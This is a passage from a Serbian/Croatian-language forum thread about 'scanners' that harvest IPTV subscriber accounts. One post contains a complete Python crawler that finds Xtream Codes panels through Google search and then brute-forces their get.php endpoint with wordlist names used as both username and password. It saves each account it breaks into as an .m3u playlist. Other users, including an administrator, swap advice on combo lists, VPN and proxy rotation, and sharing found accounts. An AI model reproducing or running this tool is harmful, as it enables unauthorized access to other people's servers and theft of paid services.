U/P Skeneri i kako skenirati

Učlanjen(a)
31.08.2012
Poruka
636
Kako nema pa ja čekam usisicače stalker i Astra ....reko si da je još rano za javno objavljivanje ja sedim i čekam.....
Zasto ne pokusas sam da napravis? Razmisli malo na koji nacin bi se mogli napraviti. Vidis da je u pitanju neka bat skripta. Sigurno u pocetku nece biti ista ali razmisli, na koji nacin radi taj ''usisivac''. :)
Verovatno su nekoliko linija koda. A ono usisivac :D
 
Član
Učlanjen(a)
13.04.2011
Poruka
695
Zasto ne pokusas sam da napravis? Razmisli malo na koji nacin bi se mogli napraviti. Vidis da je u pitanju neka bat skripta. Sigurno u pocetku nece biti ista ali razmisli, na koji nacin radi taj ''usisivac''. :)
Verovatno su nekoliko linija koda. A ono usisivac :D

nebi reko da je ovo nekoliko linija koda...

Kod:
import urllib2
import google
import time
import pyprind
import os
import random
from urlparse import urlparse

"""Crawler
Class that handles the crawling process that fetch accounts on illegal IPTVs
"""
class Crawler(object):
    # version
    version = "1.2.3"
    # output default directory
    outputDir = "output"
    # language default directory
    languageDir = "languages"
    # string used to exploit the CMS
    basicString = "/get.php?username=%s&password=%s&type=m3u&output=mpegts"
    # string used to search the CMS
    searchString = "Xtream Codes v1.0.59.5"

    def __init__(self, language = "it"):
        """Default constructor

        Keyword arguments:
        language -- Language parameter allows us to understand what kind of
                    names file we need to use. (default it)
        """
        self.language = language.lower()
        self.parsedUrls = []
        self.foundedAccounts = 0

    def change_language(self, language = "it"):
        """Set the language you want to use to brute force names

        Keyword arguments:
        language -- Language parameter allows us to understand what kind of
                    names file we need to use. (default it)

        Return:
        boolean -- true if the language file exists, otherwise false
        """
        if os.path.isfile(self.languageDir + "/" + language + ".txt"):
            self.language = language
            return True
        else:
            return False

    def search_links(self):
        """Print the first 30 links from a Web search

        We set the limit of 30 links because this script serve as demonstration and it's
        not intended to be use for personal purpose.
        """
        for url in google.search(self.searchString, num=30, stop=1):
            parsed = urlparse(url)
            self.parsedUrls.append(parsed.scheme + "://" + parsed.netloc)

    def search_accounts(self, url = None):
        """Search Accounts
        This is the core method. It will crawl the give url for any possible accounts
        If we found any we will create a new directory under /output with the name
        of the site plus every account as five .m3u. Please use VLC for opening that
        kind of files

        Keyword arguments:
        url -- an url from the fetched list. (default None)

        Return:
        string -- the status of the crawling session
        """
        if not self.parsedUrls:
            return "You must fetch some URLs first"
        try:
            if not url:
                url = random.choice(self.parsedUrls)
            fileName = self.languageDir + "/" + self.language + ".txt"
            fileLength = self.file_length(fileName)
            progressBar = pyprind.ProgBar(fileLength, title = "Fetching account from " + url + " this might take a while.", stream = 1, monitor = True)
            foundedAccounts = 0
            with open(fileName) as f:
                rows = f.readlines()
            for row in rows:
                # Do the injection to the current url using the exploit that we know
                opener = urllib2.build_opener()
                opener.addheaders = [('User-agent', 'Mozilla/5.0')]
                response = opener.open(url + self.basicString % (row.rstrip().lstrip(), row.rstrip().lstrip()))
                fetched = response.read()
                # Update the progress bar in order to give to the user a nice
                # way to indicate the time left
                fileLength = fileLength - 1
                progressBar.update()
                # IF the fetched content is not empty
                # we build the dedicated .m3u file
                if len(fetched) > 0:
                    newPath = self.outputDir + "/" + url.replace("http://", "")
                    self.create_file(row, newPath, fetched)
            # Remove the current used url in order to avoid to parse it again
            self.parsedUrls.remove(url)
            if self.foundedAccounts != 0:
                return "Search done, account founded on " + url + ": " + str(self.foundedAccounts)
            else:
                return "No results for " + url
        except IOError:
            return "Cannot open the current Language file. Try another one"
        except urllib2.HTTPError, e:
            return "Ops, HTTPError exception here. Cannot fetch the current URL " + str(e.code)
        except urllib2.URLError, e:
            return "Ops, the URL seems broken." + str(e.reason)
        except Exception:
            return "Ops something went wrong!"

    def create_file(self, row, newPath, fetched):
        """Create File
        Once the parse founds something worth it, we need to create the .m3u file
        to do so we except a newPath and the current row used from names file and also
        the content from the fetched response

        Keyword arguments:
        row -- row of the language file, this allow us to understand which names
        were useful for the brute force.

        newPath -- The path that we use to store the current fetched accounts.

        fetched -- the current response file from the attack.
        """
        if os.path.exists(newPath) is False:
            os.makedirs(newPath)
        outputFile = open(str(newPath) + "/tv_channels_%s.m3u" % row.rstrip().lstrip(), "w")
        outputFile.write(fetched)
        self.foundedAccounts = self.foundedAccounts + 1
        outputFile.close()

    def file_length(self, fileName):
        """File Length
        Cheapest way to calculate the rows of a file

        Keyword arguments:
        fileName -- string the filename into which we will check its Length
        """
        with open(fileName) as f:
            for i, l in enumerate(f):
                pass
        return i + 1
 
Član
Učlanjen(a)
31.10.2012
Poruka
107
Ide vrag crni ja nisam 20 dana pronašao nijednu listu sa 10 comba
Ima. Napravi svoju listu. Može se naći. Ja sam barem za sebe našao. Čak sam prelistao stranice na internetu i testirao još od prošle godine objavljene linkove i nasao. Samo je to naporno.
Nisam hteo ni na jednom forumu da tražim listu, pa mesec dana sceniram a zelim da imam listu. Ako može jedan profi na pp da se javi i da mi da. Barem jedanput. Koju, ću vam reći onda. Pozzz

Gesendet von meinem SM-N7505 mit Tapatalk
 
Član
Učlanjen(a)
27.09.2009
Poruka
289
Ma imam ja comba ko u priči,pronađem na netu pa dodajem brojeve al jednostavno ne ide,i skeniram sa VPN i sa proxi,koje mjenjam svaki dan al jednostavno ne ide
tEuEOwO.jpg
 
ADMINISTRATOR
Učlanjen(a)
10.05.1971
Poruka
54.331
Ma imam ja comba ko u priči,pronađem na netu pa dodajem brojeve al jednostavno ne ide,i skeniram sa VPN i sa proxi,koje mjenjam svaki dan al jednostavno ne ide
tEuEOwO.jpg
ja bih ti pre savetovao da potrazis neke manje poznate servere za koje se i nezna toliko javno i njih da skeniras ,nego sto si napuco tolike kombo liste......neznam sta ce ti to toliko.....
 
ADMINISTRATOR
Učlanjen(a)
10.05.1971
Poruka
54.331
Boki pokušavam na sve načine,upalim komp ujutro i ne gasi se al ne ide

neznam sta skeniras.......ja upalio skener evo sada kada reko ti ...na 1 posto je i vec naso.....

125.png

ja mogu ti poslati 100,200 lista ali ti to nije resenje......trebas nauciti da nalazis sam........

nista poslacu ti sta da skeniras.......

inace koristim ponajvise losmij skener ali salezli je najpregledniji da se vidi da se upecalo ponesto i moze slikati.........
 
Član
Učlanjen(a)
27.09.2009
Poruka
289
Nije meni problem skenirati,koristim sve skenere,nego je problem što ništa ne pronalaze,vidim da si poslao,hvala ti
 
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